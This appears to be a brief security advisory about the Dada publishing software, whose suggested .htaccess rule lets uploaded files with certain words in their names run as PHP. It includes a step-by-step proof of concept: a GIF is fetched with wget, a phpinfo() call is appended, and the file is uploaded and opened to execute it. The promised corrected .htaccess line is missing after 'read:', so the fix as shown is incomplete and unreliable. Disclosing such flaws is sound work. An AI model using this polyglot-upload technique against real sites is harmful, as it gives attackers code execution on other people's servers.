The instructions for installing Dada into a shared environment lists the following .htaccess file:
<FilesMatch "(feature|editor|newswire|otherpress|admin|pbook|media|mod)"> ForceType application/x-httpd-php </FilesMatch>
The problem is that the regular expression in FilesMatch allows any uploaded files with the words feature|editor|newswire|otherpress|admin|pbook|media|mod in the name to be executed as php code provided they can be passed through the mime filter.
~$ wget -O http://www.google.com/intl/en_ALL/images/logo.gif [^] :~$ wget -O feature.gif http://www.google.com/intl/en_ALL/images/logo.gif --14:14:11-- http://www.google.com/intl/en_ALL/images/logo.gif [^] => `feature.gif' Resolving www.google.com... 188.8.131.52, 184.108.40.206 Connecting to www.google.com|220.127.116.11|:80... connected. HTTP request sent, awaiting response... 200 OK Length: 8,558 (8.4K) [image/gif] 100%[===============================================================================================================>] 8,558 --.--K/s
14:14:11 (200.27 KB/s) - `feature.gif' saved [8558/8558]
:~$ echo "<? phpinfo(); ?>" >> feature.gif
create a new article and upload feature.gif as a media file.
Right click on the google logo after submitting the article, click copy image location, paste into new window. Scroll down to see phpinfo() output.
To Fix, upgrade to software where the author has a clue about security.
Until you can manage that, a temporary fix would be to change the .htaccess file to read:
or use the location directive in httpd.conf instead.